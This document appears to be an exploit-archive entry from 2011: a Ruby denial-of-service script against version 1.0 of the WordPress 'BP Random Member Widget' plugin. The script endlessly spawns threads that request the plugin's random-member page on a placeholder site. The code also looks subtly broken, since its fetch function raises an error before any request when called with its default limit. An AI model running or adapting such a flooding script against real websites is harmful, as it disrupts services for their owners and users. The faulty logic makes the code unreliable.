Dos BP Random Member Widget Plugin WordPress

# Exploit Title: Dos BP Random Member Widget Plugin WordPress
# Date: 16-10-2011
# Author:  a01001100e@gmail.com
# Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
# Version: BP Random Member Widget Version: 1.0
# Tested on: debian 2.6.32-5-686

require 'net/http'
require 'uri'

def fetch(uri_str, limit=0)
    raise ArgumentError, 'HTTP redirect too deep' if limit == 0

    response = Net::HTTP.get_response(URI.parse(uri_str))
    case response
    when Net::HTTPSuccess then
        print response.code
    when Net::HTTPRedirection then
        a = response.body
    else
        response.error!
    end
end

print "############################\n"
print "##    DOS random-member   ##\n"
print "##    @author: a01001100e ##\n"
print "############################\n\n\n\n"


while 1 do
    begin
        t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
        print "."
    rescue Exception => msg
        print "Error: "
        puts msg
    end
end